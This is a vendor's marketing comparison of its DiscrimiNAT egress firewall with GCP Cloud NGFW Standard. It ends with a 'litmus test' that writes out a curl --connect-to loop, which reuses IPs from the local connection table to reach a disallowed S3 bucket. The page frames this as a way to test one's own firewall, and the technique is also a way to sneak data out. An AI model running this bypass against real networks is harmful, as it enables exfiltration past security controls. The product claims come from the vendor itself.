gcp ngfw standard
How GCP NGFW Standard compares with DiscrimiNAT for egress filtering
Egress filtering has long been a challenge in GCP environments. In Sep 2023, GCP introduced FDQN Objects, which promised to address this gap.
Source: https://cloud.google.com/firewall/docs/release-notes...
After toying with a simple approach:
The Google Cloud firewall updates the firewall policy with the latest name resolution results at a periodic interval of 30 seconds. [a]
The current approach (as of 2024-12-10) appears to have a caveat:
You can use FQDN objects in egress firewall policy rules, but we don't recommend using FQDN objects with DNS A records that have a TTL (time-to-live) of less than 90 seconds.
[a] https://web.archive.org/...cloud.google.com/...#limitations
COMPARISON
So, how does DiscrimiNAT compare to GCP NGFW Standard then, for egress controls?
| GCP NGFW Standard | DiscrimiNAT | |
|---|---|---|
| Safe Wildcards | 🔴 no there is no wildcard support [1] and this makes rule management & approval tedious, and sometimes, in case of clustered destinations and fallback hosts, impossible | 🟢 yes Public Suffix List safeguard in place (docs), by default, to reject wildcard patterns matching all tenants on a CSP or a CDN. Or go nuclear and configure patterns with use of glob characters ( *, ?) |
| Low DNS TTL handling | 🔴 noYou can use FQDN objects in egress firewall policy rules, but we don't recommend using FQDN objects with DNS A records that have a TTL (time-to-live) of less than 90 seconds. [1]Amazon S3 buckets, which normally have a TTL of 5 seconds, exhibit a lot of intermittent connectivity timeouts due to this. Try the third command in the Litmus Test below | 🟢 yes Our Wormhole DNS technology easily keeps up with low-TTL, round-robin, etc. DNS responses. Give it a test drive yourself. Or ask us a for a side-by-side demo! |
| FQDN Discovery | 🔴 no all allowed FQDNs have to be configured upfront. There is no mechanism to establish the baseline for current outgoing traffic | 🟢 yes the see-thru monitoring mode is able to capture and generate filterable logs. Logs also indicate whether current rules would cover the traffic seen or not (dry-run), and can be filtered on this criteria |
| Spoofing Prevention | 🔴 no trivial to bypass – see example† and further explanation below. By GCP's own admission: If two domain names resolve to the same IP address, the firewall policy rule applies to that IP address, not just one domain. In other words, the FQDN objects are Layer 3 entities. [2] | 🟢 yes inspects raw packets for protocol-level anomalies and also conducts asynchronous, out-of-band DNS checks to verify client-presented domain names against Layer 3 IP addresses in the connections |
| CRL URLs pass-through | 🔴 no if apps need to check CRLs for revocation directly, all CRL Endpoint URLs' domain names would have to be managed as separate rules | 🟢 yes transparent pass-through and automatic management of allowlists with CRL URLs in them (extracted from x509 metadata) so apps can communicate directly with such endpoints |
| Protocol Downgrade Protection | 🔴 no detection of the application-layer protocol inside of TCP is not in the remit of a Layer 3 firewall | 🟢 yes enforces minimum protocol level versions (such as 1.2 for TLS), as per contemporary standards, for both sides of a handshake |
| Free Data Processing | 🔴 no there are data processing charges when customers use Cloud NGFW Standard rules in their firewall policies and apply to any traffic evaluated from target VMs to the Internet [3] | 🟢 yes there is no data processing charge |
| Instant Connection Denied Feedback | 🔴 no simply drops disallowed packets, therefore, applications need to wait for connections to timeout. This leads to poorer experience when setting things up and stalls applications when all their outbound connections are not allowed | 🟢 yes connections are terminated gracefully with a TCP Reset when denied, so applications have instant feedback and do not stall when all their outbound connections are not allowed |
| Prevent Unencrypted Traffic | 🔴 no since it's a Layer 3 firewall, it only looks at port numbers such as 443 – typically used by HTTPS. There is no guarantee that a malicious application will not use this open port for its own C2 protocol or a team of developers won't tunnel plaintext HTTP through it | 🟢 yes protocol metadata on the wire is parsed and unsafe protocols are simply not allowed, in line with NIST SP 800-53 SC-8. This encourages teams to fix the root cause and upgrade to encrypted protocols instead (HTTP over TLS, i.e. HTTPS) in their application configs |
| TLS Decryption | 🟠 limited launched in April 2024 under the Enterprise tier, this feature only compares decrypted data against a known list of threats. This feature is not targeted towards egress filtering | 🟠 no at this time, DiscrimiNAT does not implement decryption of the full payload. It has the advantage of not moving the boundary of unencrypted data, maintaining end-to-end encryption, and continuing to work transparently as the TLS protocol evolves with Post-Quantum Cryptography (Kyber in Chrome works, for example) |
| Cloud-Native Rules Management | 🟢 yes has a dedicated API and web console presence for rule management. This is supported in Terraform as well | 🟢 yes config is pulled from fields in Firewall Rules and Secret Manager therefore enabling the use of web consoles, and any existing infrastructure as code tools such as Terraform |
| Cloud-Native Logging | 🟢 yes Logs Explorer (formerly StackDriver) is supported directly with structured logs that have a whole lot of protocol-level detail at Layer 3 | 🟢 yes Logs Explorer is supported directly with structured logs that make more sense for human-operability. Agents from Splunk, Rapid7, etc. can be installed directly in the VM gateway instances too |
| Without Application Changes | 🟢 yes zero config change required on the applications no matter which application-layer protocol is involved; all routing is carried out as natively defined on the Cloud platform's route tables and firewall rules | 🟢 yes zero config change required on the applications no matter which application-layer protocol is involved; all routing is carried out as natively defined on the Cloud platform's route tables and firewall rules |
| Misconfiguration Warnings | 🔴 no common issues such as bad domain name, NXDOMAIN, no IP address resolution are simply ignored [4] | 🟢 yes warning log lines are emitted in the -config log for configuration that is syntactically correct input but isn't going to work (with reason) |
| Transparent Operation | 🟢 yes | 🟢 yes since this replaces Cloud NAT, or can be placed before it, packets are naturally routed via DiscrimiNAT at an IP level |
| High Availability | 🟢 yes | 🟢 yes uses Internal Load Balancer (ILB) as next hop technology from Google and has health checks set to 2 consecutive failures at 2 seconds apart |
[1] https://cloud.google.com/firewall/docs/firewall-policies-rule-details#limitations
[2] https://cloud.google.com/firewall/docs/firewall-policies-rule-details#domain-names-for-firewall
[3] https://cloud.google.com/firewall/pricing
[4] https://cloud.google.com/firewall/docs/firewall-policies-rule-details#domain-name-exceptions
LITMUS TEST
Generally, is your FQDN egress firewall effective at all?
† Say, your firewall allows HTTPS connections to FQDN good-guys.s3.eu-west-3.amazonaws.com, then this curl command, unsurprisingly, should work:
curl -v https://good-guys.s3.eu-west-3.amazonaws.com/good-file.txt
And, the following, unsurprisingly should not work, since it tries to connect to an FQDN that is not allowed:
curl -v https://bad-guys.s3.eu-west-3.amazonaws.com/good-file.txt
But if you ran the first command in a loop (printing x on connection failure):
while [ true ]; do curl --max-time 2 https://good-guys.s3.eu-west-3.amazonaws.com/good-file.txt 2> /dev/null || echo -n x; sleep 1; done;
And in another session, ran the following command in a loop, you'll see that at many times it is able to connect to the otherwise disallowed FQDN and retrieve malicious content:
We do not condone use of the following technical documentation for bypassing security controls.
while [ true ]; do curl --max-time 2 --connect-to "bad-guys.s3.eu-west-3.amazonaws.com:443:$(ss -tnHO4 dport 443 | shuf | head -n 1 | tr -s ' ' | cut -d ' ' -f 5)" https://bad-guys.s3.eu-west-3.amazonaws.com/good-file.txt 2> /dev/null || echo -n x; sleep 0.1; done;
GCP NGFW nevertheless allows it most of the times 🤦. And its documentation explains why it does.
At periodic intervals, Cloud NGFW updates the firewall policy rules that contain FQDN objects with the latest domain name resolution results.
If two domain names resolve to the same IP address, the firewall policy rule applies to that IP address, not just one domain. In other words, the FQDN objects are Layer 3 entities.
Source: https://cloud.google.com/firewall/docs/firewall-policies-rule-details...
The combination of these two properties results in large windows of time where a Layer 3, TCP connection that would work can be discovered with LOTL tooling and data passed to an attacker's tenancy (subdomain on a CSP or a CDN.) Amazon S3 is only used as an example due to its ubiquity in egress allowlists under Amazon owned FQDNs (or CNAMEs to them).
It is also worth pointing out that in the LOTL example above, the FQDN bad-guys.s3.eu-west-3.amazonaws.com was never looked up via DNS. The --connect-to argument to curl passes in an IP found in the local system's connection table for the name directly. Thus, any DNS firewalls would also not be able to stop this technique of exfiltration.
Also see the Litmus Test for AWS Network Firewall.